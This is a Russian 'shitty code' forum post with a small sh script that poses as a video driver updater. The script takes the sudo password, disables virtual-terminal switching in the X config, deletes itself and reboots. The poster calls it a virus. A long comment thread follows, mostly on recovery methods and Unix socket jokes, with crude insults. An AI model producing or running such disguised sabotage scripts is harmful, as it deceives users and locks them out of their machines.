1. bash / Говнокод #23624

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    #!/bin/sh
    echo "Вас  приветствует обновлятор видеокарты! Версия 1.0"
    echo "Мы обновим ваш софт автоматически, введите пожалуйста пароль адимнистратора"
    sudo echo -n "Установка..."
    sudo echo -e 'Section "ServerFlags"\nOption "DontVTSwitch" "true"\nEndSection' >/etc/X11/xorg.conf.d/99-system.conf
    let a=$RANDOM%15
    let a+=7
    sleep $a
    echo "Установка завершена! Приятного использования"
    sleep 1
    rm $0
    sudo reboot

    Это идеальная вирусня! Потом юзер просто не сможет войти в термы. Можно блокать доступ к экрану и так далее
    Можете не верить но вирусы на linux уже есть и дауны всякие кривожопые пользователи убунты не знают как их удалить

    Запостил: fuckercoder, 29 Декабря 2017

    Комментарии (74) RSS

    • echo "Пожалуйста удалите важные файлы и вышлите нам денег"
      Ответить
    • Это не вирус, это вредоносная программа.

      Отличительная особенность вирусов — способность к размножению.
      Ответить
    • Теперь можно портировать говнохуйню DriverPack Solution на линукс!
      Ответить
      • На XP лучше портируйте.
        Ответить
        • Он на новых-то виндах нужен только ламерам и долбоебам, готовым поставить любой скам ради экономии пяти минут, а на хп он тем более нахуй не нужен, как и сама хп, впрочем
          Ответить
          • На новых же дрова ставятся с обновлениями, нет?
            Ответить
            • Не все
              Ответить
              • Какие не ставятся? Но на свинье не ставится вообще ничего.
                Ответить
                • Какие-то особо хитровыебанные дрова
                  Из недавнего примера: драйвер nvme от Тошибы
                  Ответить
                  • По крайней мере, сразу после установки винды и апдейта можно пользоваться компом.
                    Кстати, некто хвалил DriverPack Solution за то, что им можно ставить дрова на компы, не подсоединенные к инету. А нельзя апдейтить винду с локального сервака?
                    Ответить
                    • Можно. Google: WSUS
                      Ответить
                      • Это мелкомягкий сервер? Или бесплатно тоже можно?
                        Ответить
                        • Бесплатно можно, но сервер надо купить

                          У нас админы через всус обновляют кучу виндов чтоб не качать по 150 раз

                          А еще есть scom шоб централизованно мониторить логи
                          Ответить
                    • В виндосервере все эти дела есть
                      Ответить
                      • Сколько он там стоит?Ну хотя если его с собой таскать.
                        Ответить
    • > юзер просто не сможет войти в термы
      > xorg.conf
      Как-будто линух нельзя загрузить без этих ваших иксов...
      Ответить
      • Боюсь, те, на которых расчитан данный говнокод, не могут загрузить линух без иксов.
        Ответить
        • Боюсь, что тогда не долго им юзать линух, даже без данного говнокода...
          Ответить
      • Контрол альт эф2 жи, и иксы переключат на незанятую ими вторую вирт консоль


        А там мумулятор терма
        Ответить
        • Не факт. Могли сэкономить на спичках и не запустить.
          Ответить
          • Сэкономил твой папка на презервативах, давай будем говорить честно.
            Ответить
            • Отличный пример здоровой экономии. Хозяйке на заметку.
              Ответить
          • Если там systemd то он лениво запускает эмуляцию getty, так что это не экономия вовсе

            а если там кошерный getty то таки да -- могли и не запустить
            Ответить
          • а вот я слепошарый дебил
            там же DontVTSwitch включают
            тогда да: не переключишься
            Ответить
            • Ещё прикольно когда из-за нвидиевского драйвера ядро стартует с чёрным экраном. В итоге консольки хоть и работают, но толку от них ноль. Разве что по памяти команды вбивать.
              Ответить
              • а вывалится в пропмт груба и передать ядру ключик для отключения драйвера?
                Ответить
                • Можно. Но про это же знать надо.
                  Ответить
                  • именно потому слака стартует по-умолчанию таким ранлевелом что иксы не запускаются и кажется даже фреймбуфер отключен:)

                    Правда тут есть найоб: если иксы не испольщуют KMS а сами переключают VT в нужный режим, то им нужно иметь привилегии рута (кажется чтобы подправить IO Permissions у страницы и научиться писать в IO). Так что startx обычный не запустится. У дебина был раньше враппер с suid битом чтобы стартовать иксы от рута всегда.
                    Ответить
                  • man работает, по памяти ты помнишь, что есть консольный браузер lynx или какой-нибудь ещё, если не установлен — ставишь его (команду помнишь по памяти ^___^), гуглишь какой ключик надо передать ядру в груб.
                    Ответить
                    • не очень понятно куда ты что гуглишь если у тебя черный экран

                      на самом деле надо просто запускать getty на /dev/ttyS0 (это можно сделать по памяти, лол) как делали наши предки. Тогда можно подцепиться на компорт с другого компа или даже с терминала и там будет все работать.

                      А если туда повесить модем, то можно даже подключиться через телефонную сеть.
                      У вас в 2018-м что-ли так не умеют?
                      Ответить
                      • > подцепиться на компорт
                        Или sshd поднять и зайти с телефона.

                        serial таки надёжней и раньше стартует.
                        Ответить
                        • проблема в том что у современных мамок компорта может и не быть вовсе, или он может быть, но не иметь выкидыша.

                          Вариант про ssh мне нравится. Но если ты убунтодесктопный чел то ты наверняка либо не поставил ssh вообще, либо поставил, но забыл настроить в sshd.conf кому можно туда логица, а править sshd.conf вслепую не очень легко.
                          Ответить
                          • Ну можно ещё nc + шелл.
                            Ответить
                            • >>nc + шелл.
                              только сразу на 0.0.0.0:23 , ок?)

                              а хотя у тебя все равно небось NAT
                              Ответить
                            • > nc + шелл

                              Что такое nc?
                              Ответить
                              • Сетевой кот.
                                Ответить
                              • швейцарский нож сетевого дрочера-юниксоида
                                умеет быть клиентом и сервером tcp и udp и еще немножко шьет

                                man nc
                                Ответить
                                • Двачую, замечательная вещь. Еще socat хорош, но уж очень сложен.
                                  Ответить
                                  • Забавно, кстати, что выдумавшие сокеты BSDшники насрали на юниксовую философию "everything is file".

                                    Если бы не насрали, то не нужно было бы никаких сокатов и неткатов.

                                    Ты бы просто писал
                                    $ cat /dev/new_sockets/tcp/yandex.ru/80


                                    Понятное дело что там есть еще 150 опций у TCP и столько же у IP, но они не всегда нужны.

                                    Эту мыслю, емнип, развили в Plan 9 -- мертворожденном потомке Unix.
                                    Ответить
                                    • Кончил тебе на губешник.
                                      Ответить
                                    • > Если бы не насрали
                                      Как в пхп
                                      fopen('http://www.gnu.org', 'r');

                                      А посылать пост-запросы и аплоадить файлы можно было бы fwrite.
                                      Ответить
                                      • а слать письма вот так
                                        fopen('foo@mail.ru', 'w');

                                        а срать на двач вот так
                                        fopen('2ch', 'a');

                                        Почему 'a'? потому что 'w' затрет все существующие там комменты
                                        Ответить
                                        • > fopen('foo@mail.ru', 'w');
                                          > fopen('2ch', 'a');

                                          То есть снести всю предыдущую почту человеку — это нормально, а на дваче ты о комментах заботишься.
                                          Ответить
                                          • Подкончил тебе на губанарий, проверь.
                                            Ответить
                                          • ой, и правда
                                            ну тогда можно же ее сохранить временно на дропбоксе

                                            $f = fopen("foo@mail.ru", "r");
                                            $d = fopen("dropbox.com", "a");
                                            while(!feof($f)) {
                                              fwrite(fgets($f, MAIL_SIZE), $d)
                                            }
                                            fclose($f);
                                            fclose($d);
                                            Ответить
                                    • Мм, интересно. Можно будет в принципе сделать виртуальную ФС, которая будет делать то что ты предлагаешь? Еще нужно учесть открытие/закрытие сокетов и потоковоть (нету seek/tell)
                                      Ответить
                                      • > (нету seek/tell)

                                        В юниксе не всё умеет в seek/tell. Есть блочные и потоковые устройства. Устройство мыши — это тоже файл, seek на нём, по понятным причинам, не сделаешь.
                                        Сокеты в юниксе — это тоже "файлы", на них работают read() и write().
                                        Ответить
                                        • Апи открытых сокетов как у открытых файлов, мы немного о другом. О закрытых сокетах.
                                          Ответить
                                      • >>>"Мм"

                                        Что, хуец мой понравился?
                                        Ответить
                                    • Нечто подобное было в Plan9, не взлетело. Хотя я один раз видел 9p2000, вертящийся под линуксом в полупродакшне, моя челюсть тогда чуть пол не пробила. Дебажить это тоже было весело.
                                      Ответить
                                      • так собссно
                                        http://govnokod.ru/23624#comment401364

                                        Я про план9 только читал, знаю что там была заинька с зубами как у суслика го


                                        зы: Снаут, почему все элегантные, красивые и правильные решения никогда не взлетают, а наколенное говно, подпертое костылями, становится промышленным стандартом?
                                        Ответить
                                        • Мне надо учиться читать посты до конца \^////
                                          Элегантные и красивые решения часто тормозят и/или не переживают ошибки. А ещё два разных элегантных решения как правило нельзя использовать вместе без превращения обоих в кучу костылей.
                                          Ответить
                                          • > А ещё два разных элегантных решения как правило нельзя использовать вместе без превращения обоих в кучу костылей.
                                            Элегантные как раз можно, а вот костыли типа манки патчинга как раз конкурренцию не любят.
                                            Ответить
                                            • Твоя мамка своим конкуренткам тоже может скальп снять и до костылей довести, если что. Борьба за нетрудовую пачку "Роллтона" - это такое дело...
                                              Ответить
                                              • >>. Борьба за нетрудовую пачку "Роллтона"
                                                это ты о своих "PHP" буднях?
                                                Ответить
                                    • > Ты бы просто писал
                                      > $ cat /dev/new_sockets/tcp/yandex.ru/80

                                      Напиши себе плагин для fuse, и не такое сможешь.
                                      Ответить
                                      • речь не о том что можно в написать, а о том что изначально API беркли сокетс не такой совсем как у файлов
                                        Ответить
                                        • Вместо accept что будем делать? Можно подумать, в plan9 на уровне os api нет разницы между локальными и удалёнными ресурсами
                                          https://9fans.github.io/plan9port/man/man3/dial.html
                                          Ответить
                                          • Хотя бы на стороне клиента тогда.
                                            Ответить
                                          • Хуй, пизда, ЖЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫгурда.
                                            Ответить
                                          • >>Вместо accept что будем делать?
                                            С козырей зашел;)

                                            открыл файл
                                            /dev/tcp/listen/80 и читаешь. Заблокировался на чтении -- вот и accept. Когда что-то считалось оттуда -- значит пришел клиент.
                                            А считался оттуда дескриптор нового файла;)
                                            Ответить
                                            • Дал тебе считать сперму с моего хуя, проверь.
                                              Ответить
                                            • > А считался оттуда дескриптор нового файла;)

                                              Кстати, в юниксе такая фича есть. Можно пересылать файловые дескрипторы через юниксовые сокеты.
                                              https://stackoverflow.com/questions/28003921/sending-file-descriptor-by-linux-socket/
                                              Ответить
                                              • через unix domain socketы можно, я знаю. К сожалению, по сети нельзя ;))
                                                А в виндовых named pipes (близжайщий аналог unix domain sockets) нельзя дескрипторы пересылать емнип
                                                Ответить
                          • > sshd.conf

                            живая usb-палка + mount
                            Ответить
                            • Это чит. Предположим, что видюха вообще не работает.
                              Ответить
                            • если у тебя есть живая палка то ты можешь маунтуть раздел с модулями и блеклистнуть больной модуль (ну или перебрать ядро убрав его, если он вкомпален)?

                              Или вообще почитать про него и узнать про опцию отключения
                              Ответить
                      • А, только сейчас понял, что имеется ввиду ситуация, когда вообще не работает графика.

                        Заминусуйте тот мой бред.
                        Ответить
    • З.Ы. У кого-то подгорело от нвидиевских дров (даже с DKMS не всегда переживают обновление ядра, чёрный экран во время загрузки вместо соснольки) и он решил наваять свой аналог?
      Ответить
      • > нвидиевских дров

        Что-то вспомнилось, гораздо более успешный вариант:

        https://github.com/MrMEEE/bumblebee-Old-and-abbandoned/commit/a047be85247755cdbe0acce6#diff-1
        Ответить

    Добавить комментарий